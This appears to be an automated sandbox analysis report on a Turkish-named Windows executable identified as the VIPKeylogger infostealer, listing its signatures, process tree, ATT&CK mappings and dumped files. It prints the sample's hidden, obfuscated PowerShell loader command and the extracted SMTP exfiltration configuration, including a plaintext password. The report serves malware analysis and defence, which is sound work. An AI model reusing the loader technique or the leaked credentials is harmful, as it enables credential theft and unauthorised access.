Analysis
- max time kernel
147s - max time network
144s - platform
windows10-2004_x64 - resource
win10v2004-20241007-en - resource tags
- submitted
18/10/2024, 05:52
General
- Target Ticari Hesap Özetiniz.exe
- Size 771KB
- Sample241018-gk66bstemj
- SHA256 f9f38e65c2446077739de76e5c37875fb9d000c839fc7ac140826615a5547cfd
Malware Config
Extracted
-
vipkeylogger
-
Protocol
smtp
-
Host
smtp.ionos.es
-
Port
587
-
Username
-
Password
Escaragol?24
-
Email to
Signatures
- VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
- Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell and hide display window.
- Loads dropped DLL 2 IoCs
- Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs
- Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of NtCreateThreadExHideFromDebugger 2 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 4 IoCs
- Drops file in Windows directory 1 IoCs
- Browser Information Discovery 1 TTPs
Enumerate browser information.
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Suspicious behavior: EnumeratesProcesses 20 IoCs
- Suspicious behavior: MapViewOfSection 2 IoCs
- Suspicious use of AdjustPrivilegeToken 46 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
- outlook_office_path 1 IoCs
- outlook_win_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\Ticari Hesap Özetiniz.exe"C:\Users\Admin\AppData\Local\Temp\Ticari Hesap Özetiniz.exe"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Fortegnsvariations=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\superincomprehensible\Outagami.Cal';$Opkaldelser=$Fortegnsvariations.SubString(60292,3);.$Opkaldelser($Fortegnsvariations)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\bulkladninger.exe"C:\Users\Admin\AppData\Local\Temp\bulkladninger.exe"3⤵
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Fortegnsvariations=Get-Content -raw 'C:\Users\Admin\AppData\Local\Temp\superincomprehensible\Outagami.Cal';$Opkaldelser=$Fortegnsvariations.SubString(60292,3);.$Opkaldelser($Fortegnsvariations)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\bulkladninger.exe"C:\Users\Admin\AppData\Local\Temp\bulkladninger.exe"3⤵
- Loads dropped DLL
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
-
-
Network
MITRE ATT&CK Enterprise v15
Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
2Credentials In Files
2Replay Monitor
Loading Replay Monitor...
Downloads
05DDC6AA91765AACACDB0A5F96DF8199
24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
6DA548C7E5915679F87E910D6581DEF1_831B21EC05D416A4ADB2370CD79ABCDD
C02877841121CC45139CB51404116B25_CFDBFDB29AA6A71EBDC3E04CD6E276F4
05DDC6AA91765AACACDB0A5F96DF8199
24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA
6DA548C7E5915679F87E910D6581DEF1_831B21EC05D416A4ADB2370CD79ABCDD
6DA548C7E5915679F87E910D6581DEF1_831B21EC05D416A4ADB2370CD79ABCDD
C02877841121CC45139CB51404116B25_CFDBFDB29AA6A71EBDC3E04CD6E276F4
__PSScriptPolicyTest_qdlnuewc.hzw.ps1
bulkladninger.exe
Lampworking.Pse
Outagami.Cal
memory/2916-38-0x00000000063B0000-0x00000000063CA000-memory.dmp
memory/2916-80-0x0000000074020000-0x00000000747D0000-memory.dmp
memory/2916-37-0x0000000006EB0000-0x0000000006F46000-memory.dmp
memory/2916-40-0x0000000007720000-0x0000000007CC4000-memory.dmp
memory/2916-39-0x0000000006400000-0x0000000006422000-memory.dmp
memory/2916-42-0x0000000008350000-0x00000000089CA000-memory.dmp
memory/2916-46-0x0000000074020000-0x00000000747D0000-memory.dmp
memory/2916-56-0x0000000007340000-0x000000000735E000-memory.dmp
memory/2916-57-0x0000000074020000-0x00000000747D0000-memory.dmp
memory/2916-59-0x0000000007370000-0x0000000007413000-memory.dmp
memory/2916-58-0x0000000074020000-0x00000000747D0000-memory.dmp
memory/2916-45-0x0000000070620000-0x0000000070974000-memory.dmp
memory/2916-44-0x00000000704B0000-0x00000000704FC000-memory.dmp
memory/2916-60-0x0000000007470000-0x000000000747A000-memory.dmp
memory/2916-43-0x0000000007300000-0x0000000007332000-memory.dmp
memory/2916-61-0x00000000075F0000-0x000000000761A000-memory.dmp
memory/2916-62-0x0000000007650000-0x0000000007674000-memory.dmp
memory/2916-7-0x0000000004920000-0x0000000004956000-memory.dmp
memory/2916-8-0x0000000004F90000-0x00000000055B8000-memory.dmp
memory/2916-9-0x0000000074020000-0x00000000747D0000-memory.dmp
memory/2916-76-0x000000007402E000-0x000000007402F000-memory.dmp
memory/2916-77-0x0000000074020000-0x00000000747D0000-memory.dmp
memory/2916-78-0x00000000089D0000-0x000000000CAF2000-memory.dmp
memory/2916-6-0x000000007402E000-0x000000007402F000-memory.dmp
memory/2916-10-0x0000000074020000-0x00000000747D0000-memory.dmp
memory/2916-82-0x0000000074020000-0x00000000747D0000-memory.dmp
memory/2916-83-0x0000000074020000-0x00000000747D0000-memory.dmp
memory/2916-11-0x0000000004EF0000-0x0000000004F12000-memory.dmp
memory/2916-86-0x0000000074020000-0x00000000747D0000-memory.dmp
memory/2916-12-0x00000000057F0000-0x0000000005856000-memory.dmp
memory/2916-25-0x0000000005F00000-0x0000000005F4C000-memory.dmp
memory/2916-24-0x0000000005ED0000-0x0000000005EEE000-memory.dmp
memory/2916-23-0x00000000058D0000-0x0000000005C24000-memory.dmp
memory/2916-13-0x0000000005860000-0x00000000058C6000-memory.dmp
memory/2924-89-0x0000000074020000-0x00000000747D0000-memory.dmp
memory/2924-26-0x0000000074020000-0x00000000747D0000-memory.dmp
memory/2924-81-0x0000000074020000-0x00000000747D0000-memory.dmp
memory/2924-27-0x0000000074020000-0x00000000747D0000-memory.dmp
memory/2924-65-0x0000000070620000-0x0000000070974000-memory.dmp
memory/2924-64-0x00000000704B0000-0x00000000704FC000-memory.dmp
memory/3292-125-0x0000000000470000-0x00000000004B8000-memory.dmp
memory/3292-123-0x0000000000470000-0x00000000016C4000-memory.dmp
memory/3292-126-0x0000000021B10000-0x0000000021BAC000-memory.dmp
memory/3292-130-0x0000000024A10000-0x0000000024BD2000-memory.dmp
memory/3292-131-0x0000000024C00000-0x0000000024C50000-memory.dmp
memory/3292-134-0x0000000024CE0000-0x0000000024D72000-memory.dmp
memory/3292-135-0x0000000024DB0000-0x0000000024DBA000-memory.dmp
memory/4044-128-0x0000000000470000-0x00000000016C4000-memory.dmp